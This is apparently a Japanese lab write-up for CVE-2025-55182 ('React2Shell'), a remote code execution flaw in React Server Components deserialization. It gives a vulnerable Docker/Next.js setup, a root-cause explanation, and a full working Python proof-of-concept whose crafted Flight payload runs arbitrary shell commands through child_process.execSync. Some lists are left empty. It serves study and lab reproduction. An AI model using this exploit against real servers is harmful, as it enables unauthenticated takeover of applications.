
別名: React2Shell
課題ガイドラインで必須とされているセクションには「(必須)」と記載されています。
この環境では、公式のNode.js AlpineイメージをベースにしたカスタムDockerfileを使用します。
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
このDockerfileは、脆弱性のあるReact Server Components (RSC)およびNext.js App Router環境を構築します。
この環境には、以下の脆弱性のあるバージョンがインストールされます:
脆弱性のあるサーバーは、npm run dev を使用して開発モードで実行されます。
脆弱性のあるサーバーは、npm run dev を使用して開発モードで実行されます。
この環境は以下の構造で動作します:
[攻撃者 / exploit.py]
↓
[Next.js App Router]
↓
[React Flightプロトコルパーサー]
↓
[React Server Componentsランタイム]
↓
[Node.jsランタイム]
攻撃者は、特別に細工されたmultipart/form-dataリクエストを脆弱性のあるNext.jsアプリケーションに送信します。
悪意のあるペイロードは、React Flightプロトコルのデシリアライズ処理を悪用します。
脆弱性のあるアプリケーションは、Next.js App Routerアーキテクチャを使用します。
リクエストはReact Server Componentsパイプラインを通じて処理されます。
アプリケーションのソースコードはsrc/app/ディレクトリ内に格納されています。
src/
└── app/
├── layout.js
└── page.js
layout.jsファイルは、App Router構造に必要なルートレイアウトを定義し、React Server Components環境を初期化します。
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
page.jsファイルは、/でレンダリングされるルートページを定義し、脆弱性のあるサーバーが実行中であることを示すシンプルなメッセージを表示します。
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
プロジェクトの依存関係と実行スクリプトは、package.jsonファイルを通じて管理されます。
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
このファイルには、以下の脆弱性のあるバージョンが定義されています:
脆弱性のあるアプリケーションは、以下のコマンドで実行されます:
"scripts": {
"dev": "next dev"
}
サーバーは以下のコマンドで起動されます:
npm run dev
これにより、脆弱性のあるNext.js開発サーバーがポート3000で起動します。
Flightプロトコルは、以下のような複雑なReactオブジェクトをデシリアライズします:
脆弱性は、このデシリアライズ処理中に発生します。
Reactランタイムは、攻撃者が制御するFlightペイロードを処理します。
安全でないプロパティ走査とプロトタイプアクセスにより、最終的に攻撃者はFunctionコンストラクタを乗っ取ることができます。
悪用に成功すると、Node.jsサーバー環境内で任意のJavaScriptコードが実行されます。
これはリモートコード実行(RCE)につながります。
| コンポーネント | バージョン |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
この環境は、脆弱性のあるReact Server ComponentsおよびFlightプロトコルの実装を使用します。
CVE-2025-55182は、React2Shellとしても知られ、React Server ComponentsおよびReact Flightプロトコルに影響を与える重大なリモートコード実行(RCE)脆弱性です。
この脆弱性は、攻撃者が制御するFlightプロトコルペイロードのデシリアライズ処理中に発生します。
この問題により、攻撃者は以下のことが可能になります:
この脆弱性は、単一の細工されたHTTPリクエストを使用して認証なしで悪用できるため、特に危険です。
脆弱性のあるReact Server ComponentsおよびNext.js App Router構成を使用するアプリケーションは、直接的に危険にさらされます。
この脆弱性の根本原因は、Flightプロトコルのデシリアライズ中に、攻撃者が制御するオブジェクト参照を安全でない方法で処理することです。
React Flightは内部で、以下のような特別な参照文字列を使用します:
$@0
$B1337
$1:__proto__:then
これらの参照は、デシリアライズ中に再帰的に解決されます。
脆弱性のあるロジックは、プロパティがオブジェクト自体に属しているかどうかを検証せずに、以下のようなプロパティ走査を実行します:
value[path[i]]
その結果、攻撃者は以下のような危険なJavaScriptプロトタイプチェーンのプロパティにアクセスできます:
__proto__
constructor
prototype
これにより、最終的にプロトタイプ汚染とFunctionコンストラクタの乗っ取りが可能になります。
攻撃者はまず、偽のReact chunkオブジェクトを作成します。
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
重要なフィールドは以下の通りです:
"status": "resolved_model"
Reactランタイムはこのフィールドを誤って信頼し、攻撃者が制御するオブジェクトを正当な内部chunkオブジェクトとして扱います。
以下のペイロード:
$1:__proto__:then
は、デシリアライザーにJavaScriptプロトタイプチェーンを走査させます。
脆弱性のあるコードは危険なプロパティを検証しないため、攻撃者は以下にアクセスできます:
Chunk.prototype.then
これにより、偽のchunkがthenableオブジェクトに変換されます。
以下のペイロード:
$1:constructor:constructor
は、最終的に以下に解決されます:
Function
これにより、以下がグローバルなJavaScriptのFunctionコンストラクタに置き換えられます:
response._formData.get
その結果、以下が可能になります:
Function(attacker_controlled_payload)
以下のペイロード:
$B1337
は、React FlightパーサーをBlob解析ロジックに強制的に移行させます。
この処理中に、以下が実行されます:
response._formData.get(...)
ただし、攻撃者はこの関数をすでにグローバルなFunctionコンストラクタに置き換えています。
これにより、最終的にNode.jsランタイム内で任意のJavaScriptが実行されます。
悪用プロセスは以下の順序で発生します:
攻撃者リクエスト
↓
Flightペイロード解析
↓
偽のChunk作成
↓
プロトタイプ汚染
↓
Functionコンストラクタの乗っ取り
↓
Blob解析トリガー
↓
Promise解決
↓
リモートコード実行
攻撃者はまず、細工されたmultipart Flightリクエストを送信します。
脆弱性のあるサーバーは、悪意のあるペイロードをデシリアライズし、攻撃者が制御する参照を再帰的に解決します。
安全でないプロトタイプ走査により、最終的に攻撃者はFunctionコンストラクタを乗っ取ることができます。
Promise解決およびBlob解析中に、任意のJavaScriptコードが実行されます。
悪用に成功すると、攻撃者はNode.jsサーバー環境内で任意のJavaScriptコードを実行できます。
この環境では、エクスプロイトは以下を実行します:
touch /tmp/success.txt
コンテナ内に以下のファイルが存在する場合、悪用の成功が確認されます:
/tmp/success.txt
実際の環境では、攻撃者は以下のことが可能です:
この脆弱性は、アプリケーションのビジネスロジックではなくReactフレームワークの内部に影響を与えるため、特に危険です。
これは、影響を受けるフレームワークのバージョンを使用するだけで、多数のアプリケーションが脆弱になる可能性があることを意味します。
概念実証(PoC)はPythonで記述されています。
エクスプロイトは、悪意のあるmultipart/form-dataリクエストを脆弱性のあるNext.jsアプリケーションに直接送信します。
PoCは以下のアクションを実行します:
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "http://localhost:3000"
cmd = "touch /tmp/success.txt"
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
エクスプロイトペイロードは、特別に細工された複数のFlightプロトコル参照を使用します。
$1:__proto__:then| Part | 目的 |
|---|---|
$1 | chunk 1を参照する |
__proto__ | プロトタイプチェーンを走査する |
then | Chunk.prototype.thenを取得する |
このペイロードは、偽のchunkをthenableオブジェクトに変換します。
$1:constructor:constructor| Part | 目的 |
|---|---|
$1 | chunk 1を参照する |
constructor | オブジェクトのコンストラクタにアクセスする |
constructor | グローバルなFunctionコンストラクタに解決される |
このペイロードは、JavaScriptのFunctionコンストラクタを乗っ取ります。
$B1337$Bプレフィックスは、FlightパーサーをBlob解析ロジックに強制的に移行させます。
この処理中に、以下が実行されます:
response._formData.get(...)
攻撃者はこのメソッドをすでにFunctionコンストラクタに置き換えているため、任意のJavaScriptコードが実行されます。
$@0このペイロードは、循環するchunk参照を作成します。
chunk 1は最終的に再びchunk 0を参照します。
この構造により、デシリアライザーはプロトタイプ走査中に攻撃者が制御する偽のchunkオブジェクトを使用できます。
エクスプロイトはまず、ランダムなmultipartバウンダリを作成します。
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
これは、有効なmultipart/form-dataリクエストを構築するために必要です。
エクスプロイトは、悪意のある偽のchunkオブジェクトを構築します。
"status":"resolved_model"
これにより、Reactランタイムは攻撃者が制御するオブジェクトを有効な内部chunkとして扱います。
以下のペイロード:
$1:__proto__:then
は、脆弱性のあるパーサーにJavaScriptプロトタイプチェーンを走査させます。
以下のペイロード:
$1:constructor:constructor
は、内部のgetメソッドをJavaScriptのFunctionコンストラクタに置き換えます。
以下のペイロード:
require('child_process').execSync('touch /tmp/success.txt')
は、最終的にNode.jsランタイム内で実行されます。
悪用に成功すると、以下が作成されます:
/tmp/success.txt
脆弱性のあるコンテナ内に作成されます。
エクスプロイトの完全なフローを以下にまとめます:
Docker環境の起動
↓
脆弱性のあるNext.jsサーバーの実行
↓
exploit.pyの実行
↓
悪意のあるFlightペイロードの送信
↓
プロトタイプ汚染のトリガー
↓
Functionコンストラクタの乗っ取り
↓
Blob解析のトリガー
↓
任意コードの実行
↓
/tmp/success.txtの確認
Dockerイメージをビルドします。
docker build -t rsc-vuln .
脆弱性のあるコンテナを実行します。
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln
脆弱性のあるNext.jsサーバーは以下で実行されます:
http://127.0.0.1:3000
PoCスクリプトを実行します。
python3 exploit.py
エクスプロイトは、悪意のあるReact Flightペイロードを脆弱性のあるNext.jsサーバーに送信します。
エクスプロイトがターゲットファイルの作成に成功したかどうかを確認します。
docker exec -it my-vuln-server ls -la /tmp/success.txt
悪用の成功は、脆弱性のあるコンテナ内で任意のコード実行が発生したことを確認します。
悪用が成功すると、エクスプロイトはReact Flightのデシリアライズとプロトタイプ走査をトリガーします。
脆弱性のあるサーバーは、悪意のあるFlightペイロードを処理し、攻撃者が制御するJavaScriptコードを実行します。
以下のファイルが存在する場合、悪用の成功が確認されます:
/tmp/success.txt
出力例:
-rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt
これにより、脆弱性のあるNode.js環境内で任意のコマンドが正常に実行されたことが確認されます。
以下のスクリーンショットがscreenshots/ディレクトリに含まれています:


| react-server-dom-webpack |
| 19.0.0-rc |